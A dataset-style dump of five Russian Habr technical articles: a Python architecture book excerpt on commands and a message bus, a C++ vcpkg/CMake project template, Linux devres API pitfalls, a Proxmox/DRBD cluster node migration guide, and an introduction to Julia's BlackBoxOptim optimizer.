text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Книга «Паттерны разработки на Python: TDD, DDD и событийно-ориентированная архитектура»
[](https://habr.com/ru/company/piter/blog/588060/) Привет, Хаброжители! Популярность Python продолжает расти, а значит, проекты, созданные на этом языке программирования, становятся все масштабнее и сложнее. Многие разработчики проявляют интерес к высокоуровневым паттернам проектирования, таким как чистая и событийно-управляемая архитектура и паттерны предметно-ориентированного проектирования (DDD). Но их адаптация под Python не всегда очевидна.
Гарри Персиваль и Боб Грегори познакомят вас с проверенными паттернами, чтобы каждый питонист мог управлять сложностью приложений и получать максимальную отдачу от тестов. Теория подкреплена примерами на чистом Python, лишенном синтаксической избыточности Java и C#.
В этой книге:
* «Инверсия зависимостей» и ее связи с портами и адаптерами (гексагональная/чистая архитектура).
* Различия между паттернами «Сущность», «Объект-значение» и «Агрегат» в рамках DDD.
* Паттерны «Репозиторий» и UoW, обеспечивающие постоянство хранения данных.
* Паттерны «Событие», «Команда» и «Шина сообщений».
* Разделение ответственности на команды и запросы (CQRS).
* Событийно-управляемая архитектура и реактивные расширения.
Команды и обработчик команд
---------------------------
В предыдущей главе мы говорили об использовании событий как способа представления данных на входе в систему. Мы превратили наше приложение в машину для обработки сообщений.
Ради этого мы преобразовали все функции варианта использования в обработчики событий. Когда API получает POST для создания новой партии товара, он создает новое событие BatchCreated и обрабатывает его так, как если бы это было внутреннее событие. Это может показаться нелогичным. В конце концов, партия товара еще не создана, именно поэтому мы и вызывали API. Мы собираемся исправить этот концептуальный недостаток с помощью ввода команд и покажем, как они могут обрабатываться одной и той же шиной сообщений по другим правилами.
Код для этой главы находится в ветке chapter\_10\_commands на GitHub:
```
git clone https://github.com/cosmicpython/code.git
cd code
git checkout chapter_10_commands
# или, если пишете код по ходу чтения, возьмите за основу
# материал из предыдущей главы:
git checkout chapter_09_all_messagebus
```
### Команды и события
Подобно событиям, *команды* представляют собой тип сообщений — инструкции, посылаемые одной частью системы другой. Мы обычно представляем команды немыми структурами данных и можем обрабатывать их почти так же, как события.
Но различия между командами и событиями очень важны.
Команды посылаются одним актором другому конкретному актору в надежде, что в результате произойдет то или иное событие. Когда мы отправляем форму в обработчик API, то посылаем команду. Командам даются имена в форме глаголов повелительного наклонения вроде «allocate stock» («разместить товарный запас») или «delay shipment» («задержать поставку»).
Команды улавливают *намерение* (intent). Они выражают то, чего мы хотим от системы. Когда команды не выполняются, отправитель в результате должен получить информацию об ошибке.
Акторы транслируют *события* всем заинтересованным слушателям (listeners). Когда мы публикуем событие BatchQuantityChanged, то не знаем, кто его подхватит. Событиям даются имена в форме глаголов прошедшего времени или причастных оборотов вроде «order allocated to stock» («заказ размещен в товарном запасе») или «shipment delayed» («отгрузка задержана»).
Мы часто используем события, чтобы сообщить об успешных командах.
События улавливают *факты* о том, что происходило в прошлом. Поскольку мы не знаем, кто будет обрабатывать событие, отправителей не должно волновать, удалось получателям выполнить команду или нет. В табл. 10.1 сравниваются события и команды.
Какие команды сейчас есть в нашей системе?
**Вытаскиваем несколько команд (src/allocation/domain/commands.py)**
```
class Command:
pass
@dataclass
class Allocate(Command): 1
orderid: str
sku: str
qty: int
@dataclass
class CreateBatch(Command): 2
ref: str
sku: str
qty: int
eta: Optional[date] = None
@dataclass
class ChangeBatchQuantity(Command): 3
ref: str
qty: int
```
**1** commands.Allocate заменит events.AllocationRequired.
**2** commands.CreateBatch заменит events.BatchCreated.
**3** commands.ChangeBatchQuantity заменит events.BatchQuantityChanged.
### Различия в обработке исключений
Замена имен и глаголов — это прекрасно, но жонглирование словами не поменяет поведение системы. Мы хотим обращаться с событиями почти так же, как с командами, но не одинаково. Давайте посмотрим, как изменяется шина сообщений.
**Направляем события и команды по-разному (src/allocation/service\_layer/messagebus.py)**
```
Message = Union[commands.Command, events.Event]
def handle(message: Message, uow: unit_of_work.AbstractUnitOfWork): 1
results = []
queue = [message]
while queue:
message = queue.pop(0)
if isinstance(message, events.Event):
handle_event(message, queue, uow) 2
elif isinstance(message, commands.Command):
cmd_result = handle_command(message, queue, uow) 2
results.append(cmd_result)
else:
raise Exception(f'{message} was not an Event or Command')
return results
```
**1** У нее все еще есть основная точка входа handle(), принимающая message — команду либо событие.
**2** Мы отправляем события и команды двум разным вспомогательным функциям, которые показаны ниже.
Вот как происходит работа с событиями:
**События не могут прервать поток (src/allocation/service\_layer/messagebus.py)**
```
def handle_event(
event: events.Event,
queue: List[Message],
uow: unit_of_work.AbstractUnitOfWork
):
for handler in EVENT_HANDLERS[type(event)]: 1
try:
logger.debug('handling event %s with handler %s', event,
handler)
handler(event, uow=uow)
queue.extend(uow.collect_new_events())
except Exception:
logger.exception('Exception handling event %s', event)
continue 2
```
**1** События передаются диспетчеру, который может делегировать их многочисленным обработчикам для каждого события.
**2** Он отлавливает и логирует ошибки, но не позволяет им прерывать обработку сообщений.
И вот как выполняются команды:
**Команды заново инициируют исключения (src/allocation/service\_layer/messagebus.py)**
```
def handle_command(
command: commands.Command,
queue: List[Message],
uow: unit_of_work.AbstractUnitOfWork
):
logger.debug('handling command %s', command)
try:
handler = COMMAND_HANDLERS[type(command)] 1
result = handler(command, uow=uow)
queue.extend(uow.collect_new_events())
return result 3
except Exception:
logger.exception('Exception handling command %s', command)
raise 2
```
**1** Диспетчер команд ожидает, что для каждой команды будет лишь один обработчик.
**2** Если инициируются какие-либо ошибки, то они быстро останавливают работу и потом всплывают.
**3** Инструкция return result с нами ненадолго; как уже упоминалось в подразделе «Уродливый костыль: шине сообщений приходится возвращать результаты» на с. 189, это костыль, позволяющий шине сообщений возвращать ссылку на партию товара, чтобы API мог его использовать. Мы исправим это в главе 12.
Мы также заменяем единый словарь HANDLERS разными словарями для команд и событий. По соглашению команды могут иметь только один обработчик.
**Новые словари с обработчиками (src/allocation/service\_layer/messagebus.py)**
```
EVENT_HANDLERS = {
events.OutOfStock: [handlers.send_out_of_stock_notification],
} # тип: Dict[Type[events.Event], List[Callable]]
COMMAND_HANDLERS = {
commands.Allocate: handlers.allocate,
commands.CreateBatch: handlers.add_batch,
commands.ChangeBatchQuantity: handlers.change_batch_quantity,
} # тип: Dict[Type[commands.Command], Callable]
```
### События, команды и обработка ошибок
Многие разработчики чувствуют себя некомфортно на этом этапе и спрашивают: «Что происходит, когда событие не обрабатывается? Что я должен сделать, чтобы система находилась в согласованном состоянии?» Если удается обрабатывать половину событий в messagebus.handle, прежде чем процесс остановится из-за нехватки памяти, то как быть с проблемами из-за потерянных сообщений?
Начнем с худшего случая: событие обработать не получается и система остается в несогласованном состоянии. Какая ошибка могла бы к этому привести? Нередко системы оказываются в таком состоянии, когда завершена только половина операции.
Представьте: мы размещаем заказ клиента на три штуки артикула КРЕСЛО\_ЖЕЛАННОЕ, DESIRABLE\_BEANBAG, но каким-то образом у нас не получается уменьшить количество оставшегося товара. Это привело бы к несогласованному состоянию: три штуки товара одновременно и размещены в заказе, и имеются в наличии, в зависимости от того, как вы на это посмотрите. И если позже мы разместим еще один заказ на те же самые кресла, то у службы поддержки клиентов начнутся проблемы.
Но мы уже позаботились о таких ситуациях с помощью настройки службы размещения заказов. Мы тщательно определили *агрегаты*, которые действуют как границы согласованности, и ввели паттерн UoW, который управляет атомарным успехом или неудачей обновления в агрегате.
Например, когда мы размещаем заказ на товар, границей согласованности является агрегат Product. Это означает, что мы не можем нечаянно превысить лимит размещений: конкретная товарная позиция заказа либо размещена, либо нет — тут нет места для несогласованных состояний.
По определению мы не требуем, чтобы два агрегата согласовывались сразу, поэтому если мы не сможем обработать событие и обновить только один агрегат, то система все равно может впоследствии стать согласованной. Мы не должны нарушать никаких системных ограничений.
С помощью этого примера мы можем лучше понять причину разбивки сообщений на команды и события. Когда пользователь хочет, чтобы система что-то сделала, мы представляем его запрос как *команду*. Эта команда должна изменить один *агрегат* и либо справиться с работой, либо нет. Все остальные мелкие детали вроде очистки и рассылки уведомлений можно организовать с помощью *события*. Успешность команды не зависит от успешности обработчиков событий.
Давайте рассмотрим еще один пример (из другого, воображаемого проекта), чтобы понять почему.
Представьте, что мы проектируем онлайн-магазин, который продает предметы роскоши. Отдел маркетинга хочет вознаграждать клиентов за повторные заказы. Мы будем отмечать клиентов как VIP-персон после того, как они совершат свою третью покупку, и это даст им право на приоритетное обслуживание и специальные предложения. Критерии принятия решения о клиенте по этой схеме имеют следующее содержание:
При наличии клиента с двумя заказами в своей истории,
когда клиент делает третий заказ,
он должен быть помечен как VIP-персона.
Когда клиент становится VIP-персоной впервые,
мы должны отправить ему имейл с поздравлениями
Мы применяем технические приемы, уже рассмотренные в этой книге, и создаем новый агрегат History, который регистрирует заказы и может инициировать события предметной области, когда эти правила удовлетворяются. Мы структурируем код следующим образом:
**VIP-клиент (пример кода для другого проекта)**
```
class History: # Агрегат
def __init__(self, customer_id: int):
self.orders = set() # Set[HistoryEntry]
self.customer_id = customer_id
def record_order(self, order_id: str, order_amount: int): 1
entry = HistoryEntry(order_id, order_amount)
if entry in self.orders:
return
self.orders.add(entry)
if len(self.orders) == 3:
self.events.append(
CustomerBecameVIP(self.customer_id)
)
def create_order_from_basket(uow, cmd: CreateOrder): 2
with uow:
order = Order.from_basket(cmd.customer_id, cmd.basket_items)
uow.orders.add(order)
uow.commit() # инициирует OrderCreated
def update_customer_history(uow, event: OrderCreated): 3
with uow:
history = uow.order_history.get(event.customer_id)
history.record_order(event.order_id, event.order_amount)
uow.commit() # инициирует CustomerBecameVIP
def congratulate_vip_customer(uow, event: CustomerBecameVip): 4
with uow:
customer = uow.customers.get(event.customer_id)
email.send(
customer.email_address,
f'Congratulations {customer.first_name}!'
)
```
**1** Агрегат History улавливает правила перевода клиента в VIP-категорию. Отличное решение на случай, если в будущем правила станут более сложными.
**2** Первый обработчик создает заказ для клиента и инициирует событие предметной области OrderCreated.
**3** Второй обработчик обновляет объект History, регистрируя заказ.
**4** Наконец, мы отправляем имейл клиенту, когда он становится VIP-персоной.
По этому коду можно получить некоторое представление об обработке ошибок в событийно-управляемой системе.
В текущей реализации мы инициируем события об агрегате *после* того, как сохранили состояние в базе данных. Что, если мы инициировали эти события до операции сохранения и зафиксировали все изменения одновременно? Ведь, казалось бы, так можно быть уверенными в том, что вся работа была завершена. Разве это не безопаснее?
Но что произойдет, если почтовый сервер будет загружен? Если вся работа должна быть завершена в одно и то же время, то занятый почтовый сервер не даст получить деньги за заказы.
Что произойдет, если в реализации агрегата History есть баг? Неужели не получится забрать деньги только потому, что в клиенте не удается распознать VIP-персону?
Благодаря разделению обязанностей получилось изолировать неудачи отдельных частей системы, что повысило ее общую надежность. Единственная часть, которая действительно *должна* завершиться — это обработчик команд, которой создает заказ. Это единственная часть, которая интересует клиента, и ставится в приоритет у стейкхолдеров.
Заметьте, как ловко мы совместили транзакционные границы с началом и концом бизнес-процессов. Используемые в коде имена соответствуют жаргону компании, а обработчики — этапам наших критериев на естественном языке. Это соответствие имен и структуры помогает лучше понимать системы по мере их разрастания.
### Синхронное восстановление после ошибок
Надеемся, мы убедили вас в том, что если события отказывают независимо от команд, которые их инициировали, то это вполне нормально. Что же делать, чтобы оправиться от неизбежных ошибок?
Первое — знать, *когда* произошла ошибка, и для этого мы обычно полагаемся на логи.
Давайте еще раз посмотрим на метод handle\_event из шины сообщений.
**Текущая функция-обработчик (src/allocation/service\_layer/messagebus.py)**
```
def handle_event(
event: events.Event,
queue: List[Message],
uow: unit_of_work.AbstractUnitOfWork
):
for handler in EVENT_HANDLERS[type(event)]:
try:
logger.debug('Обработка события %s обработчиком %s',
event, handler)
handler(event, uow=uow)
queue.extend(uow.collect_new_events())
except Exception:
logger.exception('Исключение при обработке события %s',
event)
continue
```
Когда мы обрабатываем сообщение в системе, то сначала записываем в лог, что собираемся сделать. Для нашего варианта использования CustomerBecameVIP (клиент становится VIP) логи могут выглядеть следующим образом:
```
Обработка события CustomerBecameVIP(customer_id=12345)
обработчиком <функция congratulate_vip_customer at 0x10ebc9a60>
```
Поскольку для типов сообщений мы решили использовать dataclasses, то получаем аккуратно выведенную сводку входящих данных, которую можно скопировать и вставить в оболочку Python, чтобы воссоздать объект.
При возникновении ошибки можно использовать записанные данные, чтобы воспроизвести проблему в юнит-тесте или сообщение в системе.
Ручное воспроизведение хорошо работает в тех случаях, когда нужно исправить баг, перед тем как обработать событие повторно. Однако системы *всегда* будут испытывать некоторый фоновый уровень самоустраняющегося отказа. Сюда входят, например, сбои в сети, взаимоблокировки таблиц и кратковременные простои, вызванные развертыванием.
В большинстве случаев можно элегантно восстановиться, попробовав еще раз. Народная мудрость гласит: «Если с первого раза не получилось, повторите операцию с экспоненциальным откатом».
**Обработчик с повторной попыткой (src/allocation/service\_layer/messagebus.py)**
```
from tenacity import Retrying, RetryError, stop_after_attempt, wait_
exponential 1
...
def handle_event(
event: events.Event,
queue: List[Message],
uow: unit_of_work.AbstractUnitOfWork
):
for handler in EVENT_HANDLERS[type(event)]:
try:
for attempt in Retrying( 2
stop=stop_after_attempt(3),
wait=wait_exponential()
):
with attempt:
logger.debug('Обработка события %s обработчиком
%s', event, handler)
handler(event, uow=uow)
queue.extend(uow.collect_new_events())
except RetryError as retry_failure:
logger.error(
'Не получилсоь обработать событие %s раз, отказ!,
retry_failure.last_attempt.attempt_number
)
continue
```
**1** Tenacity — это библиотека, в которой реализованы часто встречающиеся паттерны для повторных попыток.
**2** Здесь мы настраиваем шину сообщений на повторение операций до трех раз с экспоненциально увеличивающимся ожиданием между попытками.
Повторная попытка выполнения операций, которые могут завершиться неудачно, — это, вероятно, единственный лучший способ повысить отказоустойчивость ПО. Опять же из паттернов UoW и «Обработчик команд» следует, что каждая попытка начинается с согласованного состояния и не оставляет дела наполовину законченными.
> В какой-то момент придется отказаться от попыток обработать сообщение. Создавать надежные системы с распределенными сообщениями сложно, и здесь мы опустим хитрости. В эпилоге есть ссылки на дополнительные источники.
Выводы
------
В этой книге мы решили рассказать о *событиях*, и только потом о *командах*, хотя в других книгах обычно делается наоборот. Сделать явными запросы, на которые наша система может ответить, дав им имя и собственную структуру данных, — довольно фундаментальная вещь. Вероятно, вы столкнетесь с тем, что люди называют паттерном «Обработчик команд» то, что мы делаем с паттернами «Событие», «Команда» и «Шина сообщений».
В табл. 10.2 описаны некоторые моменты, о которых следует подумать, прежде чем приступать к работе.
В главе 11 поговорим об использовании событий в качестве паттерна интеграции.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/patterny-razrabotki-na-python-tdd-ddd-i-sobytiyno-orientirovannaya-arhitektura)
» [Оглавление](https://www.piter.com/collection/new/product/patterny-razrabotki-na-python-tdd-ddd-i-sobytiyno-orientirovannaya-arhitektura#Oglavlenie-1)
» [Отрывок](https://www.piter.com/collection/new/product/patterny-razrabotki-na-python-tdd-ddd-i-sobytiyno-orientirovannaya-arhitektura#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **Python**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/588060/ | null | ru | null |
# C++ с кроссплатформенностью и зависимостями
C++ по прежнему используется не только для написания ОС, игр и драйверов, но и для неприхотливых к ресурсам утилит командной строки. Между тем конкуренты на этом поприще, например Rust, предлагают систему сборки c менеджером зависимостей по умолчанию. Для C++ де-факто тоже есть стандартная система сборки CMake, но как подключать внешние библиотеки без боли? Вспомним, что для многих развитых технологий есть нечто вроде странички *https://start.yourtechnology.io*, создающих базовый стандартный проект, чтобы не тратить время на boilerplate конфигурацию. В этой статье рассматривается именно такой шаблон для создания C++ проектов с менеджером зависимостей vcpkg.
Почему vcpkg?
-------------
Во первых, из желания предельно упростить базовый проект и уменьшить количество файлов конфигурации в нем. Для C++ есть и другой развитый пакетный менджер [Conan](https://conan.io), но он требует добавления файла `conanfile.txt`, а vcpkg обходится одним стадартным `CMakeLists.txt`. Во вторых, vcpkg хорошо зарекомендовал себя и имеет стабильную поддержку в лице Microsoft.
1. Установка тулчейна для работы
--------------------------------
Прежде всего нам понадобится CMake и сам менеджер зависимостей vcpkg, его можно установить через ваш любимый пакетный менеджер (например `brew install vcpkg`), или собрать вручную [отсюда](https://github.com/microsoft/vcpkg#getting-started).
2. Установка зависимостей
-------------------------
Проверить есть ли нужная библиотека
`vcpkg search yourdepname`
Установить
`vcpkg install yourdepname`
Обратите внимание, что на машине осуществляющей сборку, библиотеки не кладутся в директории рядом с проектом, а устанавливаются в систему глобально, чтобы vcpkg мог их потом переиспользовать в других проектах. Например, для работы нашего шаблона требуется библиотека тестирования, парсер аргументов командой строки и форматированный вывод:
`vcpkg install catch2
vcpkg install cli11
vcpkg install fmt`
Приятным бонусом, после установки зависимости, vcpkg сам подскажет что дописать в `CMakeLists.txt`
Промежуточный итог
------------------
Как выглядит `CMakeLists.txt` после первичных манипуляций? Вовсе не страшно как можно было подумать, что на мой взгляд явно говорит в пользу vcpkg:
```
cmake_minimum_required(VERSION 3.17)
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
project(proj)
file(GLOB proj_sources src/*.cpp)
add_executable(proj ${proj_sources})
find_package(fmt CONFIG REQUIRED)
target_link_libraries(proj PRIVATE fmt::fmt fmt::fmt-header-only)
find_package(CLI11 CONFIG REQUIRED)
target_link_libraries(proj PRIVATE CLI11::CLI11)
project(test)
#[[Changing the entry point for tests]]
list(FILTER proj_sources EXCLUDE REGEX ".*Main.cpp$")
file(GLOB test_sources test/*.cpp)
add_executable(test ${proj_sources} ${test_sources})
find_package(Catch2 CONFIG REQUIRED)
target_link_libraries(test PRIVATE Catch2::Catch2)
target_link_libraries(test PRIVATE CLI11::CLI11)
target_link_libraries(test PRIVATE fmt::fmt fmt::fmt-header-only)
```
### 3. Сборка в один бинарник
Итак, у нас есть простой CMake проект использующий вышеуказанные вещи, как собрать один исполняемый файл? Если вы используете IDE, то весь третий шаг можно сократить просто установив для параметра *CMake options* результат выполнения команды *vcpkg integrate install*
Без IDE чуть сложнее, сначала подготовим CMake в директории вашего проекта:
```
cmake `vcpkg integrate install | tail -1 | cut -d \"` -f2 -DCMAKE_BUILD_TYPE=Release -G "Unix Makefiles" -B cmake-build-release
```
Если вы используете Windows, то вместо кода в `` кавычках, подставьте сюда вручную результат выполнения все той же команды *vcpkg integrate install*
Затем, сборка будет осуществляться командой:
`cmake --build cmake-build-release --target all`
Расширять такой проект по прежнему просто вызывая
`vcpkg install [...]`.
С++ в 21ом году совсем не страшный. Прилагаю [GitHub шаблон](https://github.com/demidko/utility), где все это уже реализовано включая точку входа. Чтобы использовать его для создания нового проекта, нажмите кнопку "Use this template" справа вверху.
Интересно услышать критику подхода и альтернативные решения для кроcплатформенных C++ проектов с зависимостями. Всем удачного дня! | https://habr.com/ru/post/549788/ | null | ru | null |
# Сделаем код чище: Когда применение devres API приносит вред?
Управляемые ресурсы в ядре Linux (также известны как Device Resource Management или devres API), о которых я писал [небольшую заметку](http://habrahabr.ru/post/255459/) ранее, — вещь крайне полезная, но не стоит воспринимать этот вспомогательный набор функций как серебрянную пулю при написании драйверов или модификации существующих. Рассмотрим случаи, где нужно аккуратно применять данные методы.
Регистрирование обработчика прерывания при наличии tasklet'ов
-------------------------------------------------------------
Про прерывания и tasklet'ы доходчиво описано в [статье](http://habrahabr.ru/company/embox/blog/244071/) в блоге компании EmBox, поэтому подразумевается, что читатель уже ознакомлен с этим или подобным материалом.
Возьмём в качестве примера следующий псевдокод:
```
struct my_struct {
…
struct tasklet_struct *tasklet;
int irq;
};
void tasklet_handler(…)
{
do_the_things_right(…);
}
irqreturn_t irq_handler(void *param)
{
struct my_struct *ms = param;
…
tasklet_schedule(&ms->tasklet);
return IRQ_HANDLED;
}
int probe(…)
{
struct my_struct *ms;
int err;
ms = devm_kzalloc(…);
…
tasklet_init(&ms->tasklet, tasklet_handler, (unsigned long)ms);
…
err = devm_request_irq(ms->irq, irq_handler, …, ms);
if (err)
return err;
return 0;
}
int remove(…)
{
struct my_struct *ms = …;
…
tasklet_kill(&ms->tasklet);
}
```
Внимательный читатель сразу же воскликнет: «Так здесь же условия гонки, приводящие к бесконечному циклу!», и будет прав.
Давайте разберёмся почему. Tasklet'ы выполняются в контексте *мягких* прерываний (softirq), а следовательно существует вероятность задержки между планированием (`tasklet_schedule()`) и выполнением задачи. В это время может произойти как раз удаление драйвера из памяти, пользователь вызвал `rmmod my_module`. Конечно, мы явно зовём удаление tasklet'а, см. `tasklet_kill()`, но обработчик прерывания **всё ещё активен**, т.к. мы воспользовались devres API и запланировали его удаление в порядке очереди **после** выполнения `->remove()`!
Как вылечить? Да очень просто, следите за руками:
```
int remove(…)
{
struct my_struct *ms = …;
…
devm_free_irq(ms->irq, ms);
tasklet_kill(&ms->tasklet);
}
```
Как раз тот редкий случай, когда мы пользуемся devres API в момент удаления объекта.
Что прячет драйвер, к примеру, символьного устройства?
------------------------------------------------------
Рассмотрим теперь следующий псевдокод:
```
int closecb(…)
{
struct my_struct *ms = …;
do_something_on_close(ms, …);
}
struct file_ops fops = {
.close = closecb,
…
};
int probe(…)
{
struct my_struct *ms;
int err;
ms = devm_kzalloc(…);
…
err = register_char_device(ms, "node_served_by_driver", &fops, …);
if (err)
return err;
return 0;
}
int remove(…)
{
struct my_struct *ms = …;
…
}
```
Теперь представим себе такой сценарий:
1. Убедимся, что драйвер загрузился и привязался к устройству.
2. Откроем `/dev/node_served_by_driver`, и сделаем так, чтобы устроство оставалось открытым.
3. Отвяжем драйвер от устройства, например, выполнив команду:
```
echo our_device_name > /sys/bus/platform/drivers/our_driver_name/unbind
```
или просто отключением устройства от шины, если возможно, например, отсоединением USB накопителя.
4. Теперь закроем устройство.
5. Наслаждаемся падением ядра.
Почему так происходит? Да потому что память, выделенная на этапе `->probe()` высвобождается в момент отвязки устройства. А мы всё ещё используем этот участок памяти! При этом драйвер устройства не удаляется и не может быть удалён, т.к. держится программой, открывшей устройство, и остаётся в памяти до момента явного закрытия и удаления.
Как лечить? Тоже просто. Не пользоваться памятью, выделенной с помощью `devm_kzalloc()`, в файловых операциях в драйвере, аккуратно следить за временем жизни объектов. По мнению автора devres API префикс **dev** там не просто так, а с целью указать, что ресурсы имеют непосредственное отношения к железу, а не к обработке событий от пользователя.
P.S. На самом деле проблема более широкая, и она поднимается для обсуждения на будущем Kernel Summit 2015.
Удачи в отладке! | https://habr.com/ru/post/265111/ | null | ru | null |
# Перенос физической машины в кластере ProxmoxVE2(3) с DRBD на новое железо
Имея кластер из двух серверов стоящих на Proxmox с объединенным по DRBD хранилищем, бывает нужно обновить узел в этом кластере, без остановки работы машин в нем. Задача не сложная, но некоторые моменты не всегда вспоминаешь в процессе.
Поэтому, для себя, действия были записаны для будущего копипаста в консоль. Ну а раз уже написаны, почему бы не поделиться с людьми?
P.S. В конце небольшой бонус про расширение блочного устройства по имени DRBD, тюнинг и полезные ссылки.
Приступим.
1. Мигрируем все виртуальные машины на один узел который остаётся живым (PM2).
2. Заходим консолью на PM2 от привилегированного пользователя. Разрешаем находиться в кластере одному узлу:
```
pvecm expected 1
```
3. Смотрим узлы в кластере:
```
pvecm nodes
```
4. Удаляем переезжающий узел из кластера:
```
pvecm delnode pm1
```
5. Останавливаем синхронизацию DRBD:
```
drbdadm disconnect all
```
и проверяем статус StandAlone командой
```
cat /proc/drbd
```
6. Удаляем записи о старой машине в /etc/pve/priv/{autorized\_keys, know\_hosts}, а также аналогично в /root/.ssh
7. Устанавливаем на новую машину (PM1) ProxmoxVE2, указав при установке размеры разделов, написав в приглашении
boot: *linux ext4 maxroot=8 swapsize=1 maxvz=10* (есть еще ключ minfree=200)
8. Заходим в консоль свежей PM1, обновляемся:
```
apt-get update && apt-get dist-upgrade
```
9. Добавляемся в кластер:
```
pvecm add 192.168.0.12
```
(192.168.0.12 это IP адрес PM2)
10. Установим утилиты для работы с DRBD:
```
apt-get install drbd8-utils
```
но т. к. в репозитории дебиан старые утилиты нам нужно обновить их на аналогичные в ядре:
```
dpkg -i drbd8-utils_8.3.13-0_amd64.deb
```
*(в Proxmox 3 основаном на Debian 7 версия актуальна, поэтому пропускаем этот пункт)*
11. Создаем/копируем файл с PM2 /etc/drbd.d/r0.res для примера следующего содержания:
```
resource r0 {
protocol C;
startup {
wfc-timeout 0;
degr-wfc-timeout 600;
become-primary-on both;
}
syncer {
rate 500M;
}
net {
cram-hmac-alg sha1;
shared-secret "my-secret";
allow-two-primaries;
after-sb-0pri discard-zero-changes;
after-sb-1pri discard-secondary;
after-sb-2pri disconnect;
sndbuf-size 0;
no-tcp-cork;
unplug-watermark 16;
max-buffers 8000;
max-epoch-size 8000;
}
on pm1 {
device /dev/drbd0;
disk /dev/pve/drbd;
address 192.168.0.11:7788;
meta-disk internal;
}
on pm2 {
device /dev/drbd0;
disk /dev/pve/drbd;
address 192.168.0.12:7788;
meta-disk internal;
}
```
12. Создаем логический раздел размером точь в точь как на рабочей машине:
```
lvcreate -L450G -n drbd0 pve
```
и смотрим что мы наделали командой
```
lvscan
```
13. Стартуем drbd:
```
/etc/init.d/drbd start
```
14. Создаём метадату:
```
drbdadm create-md r0
```
15. На всякий случай делаем вторичным
```
drbdadm secondary r0
```
и отключаемся от всех
```
drbdadm disconnect r0
```
16. Говорим что на нашей машине хранилище в не актуальном состоянии командой:
```
drbdadm -- --discard-my-data connect r0
```
и перезагружаем машину
17. В консоли первого сервера смотрим статус синхронизации командой:
```
watch cat /proc/drbd
```
18. В web интерфейсе в сторадже кластера разрешаем у хранилища с drbd наши узлы
Bonus: **Расширение объема DRBD**
Это все актуально для мета диска external.
1. Мы добавили объём дисков в рэйде. Расширяем раздел на котором лежит drbd:
```
lvextend -L+250G /dev/pve/drbd0
```
2. На пустой машине сделаем хранилище вторичным:
```
drbdadm secondary r0
```
3. Расширяем drbd, запустив на машине где крутятся виртуалки, т.к. диск на второй машине временно стопорнётся.:
```
drbdadm resize r0
```
4. Расширение устройства drbd увеличит только это блочное устройство, но не pv, чтобы увеличить его:
```
pvresize /dev/pve/drbd0
```
Если диск internal то придется на время или навсегда перенести метаданные на отдельный диск. Без остановки это можно сделать в два этапа
1. На одном из серверов:
a) Cтопорим drbd:
```
drbdadm down r0
```
затем меняем в конфиге строчки
meta-disk internal
на
meta-disk /dev/”ваше устройство для метаданных”[0]
для которого очень рекомендуется ssd диск, но на время можно создать lvm раздел.
b) Затем на другой машине
```
drbdadm -- --overwrite-data-of-peer primary r0
```
а на текущей
```
drbdadm up r0
```
и смотрим процес синхронизации
```
watch cat /proc/drbd
```
После завершения процесса у нас на этом сервере метаданные вынесены на отдельное устройство.
2. Повторяем пункт 1 на другом сервере.
Если ssd нет, то после расширения, дабы не испортить скорость работы хранилища, придется сделать обратные манипуляции. Но лучше купить пару ssd, а может и четыре, на запас или соединив их в RAID1 на каждом из серверов.
Перед любыми действиями вполне естественно делать резервные копии, а сделать их быстрее поможет строчка в файле /etc/vzdump.conf:
```
bwlimit: 100000
```
которая сделает ограничение скорости в 100 мегабит, по умолчанию стоит всего 10, что для 100 мегабитной сети вполне нормально, но для гигабит(а) слишком мягко.
Полезные ссылки:
[Сайт Proxmox](http://proxmox.com/)
[Proxmox wiki](http://pve.proxmox.com/)
[Proxmox форум](http://forum.proxmox.com/)
[Скачать образ для инсталляции](http://proxmox.com/downloads/category/iso-images-pve)
UPD: Поздравляю с релизом Proxmox 3.0 на основе Debian Wheezy | https://habr.com/ru/post/180699/ | null | ru | null |
# Julia и оптимизация
[Пришло время](https://habr.com/ru/post/440234/) рассмотреть пакеты предоставляющие методы решения задач оптимизации. Очень много проблем можно свести к поиску минимума некоторой функции, поэтому следует иметь в арсенале парочку-другую солверов, а уж тем более целый пакет.
Вступление
----------
Язык Julia [продолжает набирать популярность](https://github.com/collections/programming-languages). На <https://juliacomputing.com> можно посмотреть, почему этот язык выбирают астрономы, робототехники и финансисты, а на <https://academy.juliabox.com> можете начать бесплатные курсы по изучению языка и применению его в во всяком там машинлёнинге. Тем же, кто всерьёз надумал начать учиться советую просмотреть видео, почитать статьи и пощёлкать юпитерские ноутбуки на <https://julialang.org/learning/> или хотя бы [пройтись по хабу](https://habr.com/ru/hub/julia/) снизу вверх: там будет и установка, и возможности, и применение к делам насущным. А теперь приступим к библиотекам.
BlackBoxOptim
-------------
[BlackBoxOptim](#https://github.com/robertfeldt/BlackBoxOptim.jl) — пакет глобальной оптимизации для Юлии (<http://julialang.org/>). Он поддерживает как многоцелевые, так и одноцелевые задачи оптимизации и ориентирован на (мета) эвристические / стохастические алгоритмы (DE, NES и т. Д.), которые НЕ требуют, чтобы оптимизируемая функция была дифференцируемой, в отличие от более традиционных, детерминированных алгоритмов, которые часто основаны на градиентах / дифференцируемости. Он также поддерживает параллельные вычисления для ускорения оптимизации функций, которые оцениваются медленно.
Загружаем и подключаем библиотеку
```
]add BlackBoxOptim
using BlackBoxOptim
```
Задаём функцию Розенброка:
```
f(x) = (1.0 - x[1])^2 + 100.0 * (x[2] - x[1]^2)^2
```
Ищем минимум на отрезке (-5;5) для каждой координаты для двумерной задачи:
```
res = bboptimize(f; SearchRange = (-5.0, 5.0), NumDimensions = 2)
```
На что последует ответ:
```
Starting optimization with optimizer DiffEvoOpt{FitPopulation{Float64},RadiusLimitedSelector,BlackBoxOptim.AdaptiveDiffEvoRandBin{3},RandomBound{RangePerDimSearchSpace}}
0.00 secs, 0 evals, 0 steps
Optimization stopped after 10001 steps and 0.12400007247924805 seconds
Termination reason: Max number of steps (10000) reached
Steps per second = 80653.17866385692
Function evals per second = 81628.98454510146
Improvements/step = 0.2087
Total function evaluations = 10122
Best candidate found: [1.0, 1.0]
Fitness: 0.000000000
```
